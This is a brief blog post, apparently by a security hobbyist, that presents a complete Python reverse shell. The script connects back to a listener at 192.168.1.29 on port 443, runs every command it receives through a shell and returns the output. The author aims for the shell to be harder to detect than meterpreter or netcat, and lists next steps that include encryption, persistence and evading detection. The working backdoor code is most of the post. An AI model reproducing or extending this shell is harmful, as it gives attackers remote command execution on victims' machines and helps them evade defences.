This week I decided to put together a basic Python reverse shell. The main purpose of this was to act like a meterpreter/nc reverse shell while being more customizable and (hopefully) harder to detect.
While this is just a simple reverse shell for a single client (for example: a netcat listener), it demonstrates how easy it is for Python to create a connection using sockets and subprocess. Additionally, it gives me something to build on in the future.
To start, the code is as follows:
import socket import subprocess import sys RHOST = "192.168.1.29" RPORT = 443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) while True: data = s.recv(1024) conn = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) STDOUT, STDERR = conn.communicate() s.send(STDOUT) s.close()
And here is the client in action!
There are some tweaks that could be made for better persistence and error handling, but those are not necessary for the current basic operation.
That said, this is a great start for a reverse shell, and something I needed to add to my toolbox anyway.
The next major steps for this shell are as follows:
- Add ability for multiple clients
- Add support for at least encoding, if not encrypting
- Look into client specific commands similar to meterpreter
- Test, and avoid, detection
- Improve error handling and persistence
The code and updates can be found in my GitHub repository.